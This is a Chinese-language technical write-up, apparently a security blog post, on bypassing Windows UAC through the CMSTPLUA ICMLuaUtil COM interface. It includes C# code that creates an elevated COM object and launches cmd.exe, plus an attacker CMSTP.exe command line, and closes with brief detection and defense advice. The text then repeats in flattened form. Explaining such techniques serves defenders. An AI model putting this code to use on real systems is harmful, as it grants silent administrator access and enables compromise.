Sharp4COMBypassUAC:通过指定的ICMLuaUtil 接口执行命令绕过UAC
字数 1394 2025-08-22 12:23:12

ICMLuaUtil接口绕过UAC技术详解

1. 技术背景

UAC(用户帐户控制)是Windows操作系统的重要安全机制,用于防止未经授权的程序以管理员权限执行操作。然而,某些系统组件和接口(如CMSTPLUA组件中的ICMLuaUtil接口)由于设计用途需要特殊权限,可能被利用来绕过UAC保护。

2. 关键组件分析

2.1 CMSTP.exe

  • 全称:Connection Manager Profile Installer
  • 功能:安装和配置网络连接管理器的配置文件(.inf和.cms文件)
  • 常规用法:CMSTP.exe "C:\VPNProfile.inf"
  • 攻击者用法:CMSTP.exe /s "C:\path\to\malicious.inf"

2.2 CMSTPLUA组件

  • 作用:在CMSTP.exe程序运行时管理用户权限请求
  • 关键接口:ICMLuaUtil
  • 位置:cmlua.dll
  • 虚函数偏移:cmlua.dll+0x6360

3. ICMLuaUtil接口分析

3.1 关键属性

使用OleViewDotNet工具查看CLSIDs,搜索"cmstplua"可发现:

  • Elevation属性中Enabled和Auto Approval均为True
  • 这意味着该组件能够绕过UAC认证

3.2 ShellExec方法

  • 通过调用Windows API ShellExecuteExW实现命令执行
  • 这是绕过UAC的关键函数

4. 技术实现原理

4.1 核心思路

利用ICMLuaUtil接口的ShellExec方法,结合COM接口创建具有提升权限的COM对象,在不触发UAC弹窗的情况下启动管理员权限进程。

4.2 实现步骤

  1. 创建CLSID和InterfaceID实例
  2. 通过CoGetObject函数创建提升权限的COM对象
  3. 调用ShellExec方法执行命令

5. 代码实现详解

5.1 GUID定义

Guid clsid = new Guid("3E5FC7F9-9A51-4367-9063-A120244FBEC7");
Guid interfaceID = new Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C");

5.2 LaunchElevatedCOMObject方法

public static object LaunchElevatedCOMObject(Guid Clsid, Guid InterfaceID)
{
    string str = Clsid.ToString("B");
    string pszName = "Elevation:Administrator!new:" + str;
    BypassUAC_csharp.BIND_OPTS3 bind_OPTS = default(BypassUAC_csharp.BIND_OPTS3);
    bind_OPTS.cbStruct = (uint)Marshal.SizeOf(bind_OPTS);
    bind_OPTS.hwnd = IntPtr.Zero;
    bind_OPTS.dwClassContext = 4U;
    return BypassUAC_csharp.CoGetObject(pszName, ref bind_OPTS, InterfaceID);
}
  • pszName格式:Elevation:Administrator!new:{CLSID}
  • BIND_OPTS3结构体:
    • cbStruct:结构体大小
    • hwnd:窗口句柄(IntPtr.Zero)
    • dwClassContext:4表示CLSCTX_LOCAL_SERVER

5.3 CoGetObject导入

[DllImport("ole32.dll", CharSet = CharSet.Unicode, ExactSpelling = true, PreserveSig = false)]
[return: MarshalAs(UnmanagedType.Interface)]
internal static extern object CoGetObject(string pszName, 
    [In] ref BypassUAC_csharp.BIND_OPTS3 pBindOptions,
    [MarshalAs(UnmanagedType.LPStruct)][In] Guid riid);

5.4 ICMLuaUtil接口定义

[Guid("6EDD6D74-C007-4E75-B76A-E5740995E24C")]
[InterfaceType(ComInterfaceType.InterfaceIsIUnknown)]
[ComImport]
private interface ICMLuaUtil
{
    [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
    void Method1();
    // ... Method2-6省略
    [MethodImpl(MethodImplOptions.PreserveSig | MethodImplOptions.InternalCall)]
    BypassUAC_csharp.HRESULT ShellExec(
        [MarshalAs(UnmanagedType.LPWStr)][In] string file,
        [MarshalAs(UnmanagedType.LPWStr)][In] string paramaters,
        [MarshalAs(UnmanagedType.LPWStr)][In] string directory,
        [In] ulong fMask,
        [In] ulong nShow);
}

5.5 ShellExec调用

icmluaUtil.ShellExec("C:\\windows\\system32\\cmd.exe", null, null, 0UL, 5UL);

参数说明:

  • file:程序路径
  • parameters:命令参数
  • directory:工作目录
  • fMask:0表示窗口不显示
  • nShow:5(具体含义需参考ShellExecuteExW文档)

6. 检测与防御

6.1 检测方法

  1. 监控CMSTP.exe异常调用
  2. 检查ICMLuaUtil接口的异常使用
  3. 关注不寻常的COM对象创建行为

6.2 防御措施

  1. 更新系统补丁
  2. 限制CMSTP.exe执行权限
  3. 监控和限制高权限COM对象的创建
  4. 启用增强的UAC设置

7. 总结

ICMLuaUtil接口绕过UAC技术利用了Windows系统组件的设计特性,通过合法的COM接口提升权限。这种技术具有隐蔽性强、不需要额外文件落地等优点,因此在渗透测试和红队行动中被广泛使用。防御方需要深入了解其原理,才能有效检测和防范此类攻击。

ICMLuaUtil接口绕过UAC技术详解 1. 技术背景 UAC(用户帐户控制)是Windows操作系统的重要安全机制,用于防止未经授权的程序以管理员权限执行操作。然而,某些系统组件和接口(如CMSTPLUA组件中的ICMLuaUtil接口)由于设计用途需要特殊权限,可能被利用来绕过UAC保护。 2. 关键组件分析 2.1 CMSTP.exe 全称:Connection Manager Profile Installer 功能:安装和配置网络连接管理器的配置文件(.inf和.cms文件) 常规用法: CMSTP.exe "C:\VPNProfile.inf" 攻击者用法: CMSTP.exe /s "C:\path\to\malicious.inf" 2.2 CMSTPLUA组件 作用:在CMSTP.exe程序运行时管理用户权限请求 关键接口:ICMLuaUtil 位置:cmlua.dll 虚函数偏移:cmlua.dll+0x6360 3. ICMLuaUtil接口分析 3.1 关键属性 使用OleViewDotNet工具查看CLSIDs,搜索"cmstplua"可发现: Elevation属性中Enabled和Auto Approval均为True 这意味着该组件能够绕过UAC认证 3.2 ShellExec方法 通过调用Windows API ShellExecuteExW实现命令执行 这是绕过UAC的关键函数 4. 技术实现原理 4.1 核心思路 利用ICMLuaUtil接口的ShellExec方法,结合COM接口创建具有提升权限的COM对象,在不触发UAC弹窗的情况下启动管理员权限进程。 4.2 实现步骤 创建CLSID和InterfaceID实例 通过CoGetObject函数创建提升权限的COM对象 调用ShellExec方法执行命令 5. 代码实现详解 5.1 GUID定义 5.2 LaunchElevatedCOMObject方法 pszName 格式: Elevation:Administrator!new:{CLSID} BIND_OPTS3 结构体: cbStruct :结构体大小 hwnd :窗口句柄(IntPtr.Zero) dwClassContext :4表示CLSCTX_ LOCAL_ SERVER 5.3 CoGetObject导入 5.4 ICMLuaUtil接口定义 5.5 ShellExec调用 参数说明: file:程序路径 parameters:命令参数 directory:工作目录 fMask:0表示窗口不显示 nShow:5(具体含义需参考ShellExecuteExW文档) 6. 检测与防御 6.1 检测方法 监控CMSTP.exe异常调用 检查ICMLuaUtil接口的异常使用 关注不寻常的COM对象创建行为 6.2 防御措施 更新系统补丁 限制CMSTP.exe执行权限 监控和限制高权限COM对象的创建 启用增强的UAC设置 7. 总结 ICMLuaUtil接口绕过UAC技术利用了Windows系统组件的设计特性,通过合法的COM接口提升权限。这种技术具有隐蔽性强、不需要额外文件落地等优点,因此在渗透测试和红队行动中被广泛使用。防御方需要深入了解其原理,才能有效检测和防范此类攻击。